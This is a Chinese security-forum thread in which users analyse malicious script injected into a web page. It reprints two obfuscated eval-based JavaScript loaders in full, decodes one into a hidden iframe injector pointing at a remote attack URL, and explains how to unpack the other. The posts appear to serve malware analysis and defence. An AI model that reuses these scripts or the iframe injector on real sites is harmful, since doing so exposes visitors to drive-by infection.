转来的[挂马]

firefox3

http://pirates-shack.com/login.php?returnto=/

king1636

本菜鸟只能解密两段加密中的其中一段：

第一段，不知如何解密，求解！：

<script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{Boolean(true).prototype.a}catch(qqq){st=String;zz='al';zz='v'+zz;ss=[];if(1){f='fr'+'omCharCode';}w=this;e=w[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~48.5~59.5~48~49.5~56~54~49.5~57~57.5~55~22~48.5~54.5~53.5~22.5~52~56.5~22.5~27~27.5~23~26~24.5~49.5~23.5~26~23~24~49~23~27.5~25.5~49~24~47.5~49.5~49.5~26.5~23~24.5~50~49.5~49.5~47.5~48.5~23~49~49~24.5~25~18.5~15~58.5~51.5~49~57~51~29.5~18.5~23.5~23~18.5~15~51~49.5~51.5~50.5~51~57~29.5~18.5~23.5~23~18.5~15~56.5~57~59.5~53~49.5~29.5~18.5~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~28~51~51.5~49~49~49.5~54~28.5~55~54.5~56.5~51.5~57~51.5~54.5~54~28~47.5~48~56.5~54.5~53~57.5~57~49.5~28.5~53~49.5~50~57~28~23~28.5~57~54.5~55~28~23~28.5~18.5~30~29~22.5~51.5~50~56~47.5~53.5~49.5~30~16~19.5~28.5~5.5~3.5~3.5~61.5~5.5~3.5~3.5~50~57.5~54~48.5~57~51.5~54.5~54~15~51.5~50~56~47.5~53.5~49.5~56~19~19.5~60.5~5.5~3.5~3.5~3.5~58~47.5~56~15~50~15~29.5~15~49~54.5~48.5~57.5~53.5~49.5~54~57~22~48.5~56~49.5~47.5~57~49.5~33.5~53~49.5~53.5~49.5~54~57~19~18.5~51.5~50~56~47.5~53.5~49.5~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~56.5~56~48.5~18.5~21~18.5~51~57~57~55~28~22.5~22.5~48.5~59.5~48~49.5~56~54~49.5~57~57.5~55~22~48.5~54.5~53.5~22.5~52~56.5~22.5~27~27.5~23~26~24.5~49.5~23.5~26~23~24~49~23~27.5~25.5~49~24~47.5~49.5~49.5~26.5~23~24.5~50~49.5~49.5~47.5~48.5~23~49~49~24.5~25~18.5~19.5~28.5~50~22~56.5~57~59.5~53~49.5~22~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~29.5~18.5~51~51.5~49~49~49.5~54~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~55~54.5~56.5~51.5~57~51.5~54.5~54~29.5~18.5~47.5~48~56.5~54.5~53~57.5~57~49.5~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~53~49.5~50~57~29.5~18.5~23~18.5~28.5~50~22~56.5~57~59.5~53~49.5~22~57~54.5~55~29.5~18.5~23~18.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~58.5~51.5~49~57~51~18.5~21~18.5~23.5~23~18.5~19.5~28.5~50~22~56.5~49.5~57~31.5~57~57~56~51.5~48~57.5~57~49.5~19~18.5~51~49.5~51.5~50.5~51~57~18.5~21~18.5~23.5~23~18.5~19.5~28.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~22~47.5~55~55~49.5~54~49~32.5~51~51.5~53~49~19~50~19.5~28.5~5.5~3.5~3.5~61.5"["split"]("a~".substr(1));for(i=3-2-1;i!=623;i++){j=i;if(st)ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(st)e(""+q);</script>

本人解密的第二段为：

<script>c=3-1;i=-2+c;if(parseInt("0"+"1"+"2"+"3")===83)try{Boolean().prototype.q}catch(egewgsd){if(window.document)f=['-31i-31i65i62i-8i0i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i1i83i-27i-31i-31i-31i65i62i74i57i69i61i74i0i1i19i-27i-31i-31i85i-8i61i68i75i61i-8i83i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i79i74i65i76i61i0i-6i20i65i62i74i57i69i61i-8i75i74i59i21i-1i64i76i76i72i18i7i7i59i57i74i76i79i74i65i63i64i76i77i72i6i59i71i69i7i78i65i75i65i76i7i16i17i8i14i11i61i9i14i8i10i60i8i17i13i60i10i57i61i61i15i8i11i62i61i61i57i59i8i60i60i11i12i-1i-8i79i65i60i76i64i21i-1i9i8i-1i-8i64i61i65i63i64i76i21i-1i9i8i-1i-8i75i76i81i68i61i21i-1i78i65i75i65i58i65i68i65i76i81i18i64i65i60i60i61i70i19i72i71i75i65i76i65i71i70i18i57i58i75i71i68i77i76i61i19i68i61i62i76i18i8i19i76i71i72i18i8i19i-1i22i20i7i65i62i74i57i69i61i22i-6i1i19i-27i-31i-31i85i-27i-31i-31i62i77i70i59i76i65i71i70i-8i65i62i74i57i69i61i74i0i1i83i-27i-31i-31i-31i78i57i74i-8i62i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i65i62i74i57i69i61i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i75i74i59i-1i4i-1i64i76i76i72i18i7i7i59i57i74i76i79i74i65i63i64i76i77i72i6i59i71i69i7i78i65i75i65i76i7i16i17i8i14i11i61i9i14i8i10i60i8i17i13i60i10i57i61i61i15i8i11i62i61i61i57i59i8i60i60i11i12i-1i1i19i62i6i75i76i81i68i61i6i78i65i75i65i58i65i68i65i76i81i21i-1i64i65i60i60i61i70i-1i19i62i6i75i76i81i68i61i6i72i71i75i65i76i65i71i70i21i-1i57i58i75i71i68i77i76i61i-1i19i62i6i75i76i81i68i61i6i68i61i62i76i21i-1i8i-1i19i62i6i75i76i81i68i61i6i76i71i72i21i-1i8i-1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i79i65i60i76i64i-1i4i-1i9i8i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i64i61i65i63i64i76i-1i4i-1i9i8i-1i1i19i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i6i57i72i72i61i70i60i27i64i65i68i60i0i62i1i19i-27i-31i-31i85'][0].split('i');v="ev"+"a"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;633!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"Code"](w[j]*1+40);}if(v)z=s;e(z);</script>

此段加密为eval加密，解密后为：

                if (document.getElementsByTagName('body')[0]){
                        iframer();
                } else {
                        document.write("<iframe src='http://cartwrightup.com/visit/89063e1602d095d2aee703feeac0dd34' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
                }
                function iframer(){
                        var f = document.createElement('iframe');f.setAttribute('src','http://cartwrightup.com/visit/89063e1602d095d2aee703feeac0dd34');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
                        document.getElementsByTagName('body')[0].appendChild(f);
                }

不知是网络原因，还是其他原因，本机无法访问：
hxxp://cartwrightup.com/visit/89063e1602d095d2aee703feeac0dd34
坐等其他高人解密，也希望帮忙告诉下，第一段如何解密！

释然的心

红伞网页防护拦截

警告
为保证您的安全，将不会访问此网页
在请求的页面的 HTTP 数据中发现病毒或恶意程序。



请求的 URL:  hxxp://pirates-shack.com/login.php?returnto=/
信息:  包含 HTML/IFrame.agp HTML 脚本病毒的识别模式

帅就是帅

king1636 发表于 2012-4-14 00:02
本菜鸟只能解密两段加密中的其中一段：

第一段，不知如何解密，求解！：

注意以下代码:

1. catch(qqq){st=String;zz='al';zz='v'+zz;ss=[];if(1){f='fr'+'omCharCode';}w=this;e=w[f.substr(11)+zz];

复制代码

需对正则表达式有一定的敏感, 处理代码末尾的

1. e(""+q);

复制代码

得到解开混淆内容的真实代码 :)

帅就是帅

帅就是帅 发表于 2012-4-14 14:08
注意以下代码:需对正则表达式有一定的敏感, 处理代码末尾的得到解开混淆内容的真实代码 :)

king1636

帅就是帅 发表于 2012-4-14 14:11

还是不怎么懂正则表达式，有相关文章学习？

再次感谢你的热心帮助！

king1636

帅就是帅 发表于 2012-4-14 14:11

额，把最后的e(""+q);里面的E，替换成：alert，就解密出来了！

guobao13

诺顿阻止了攻击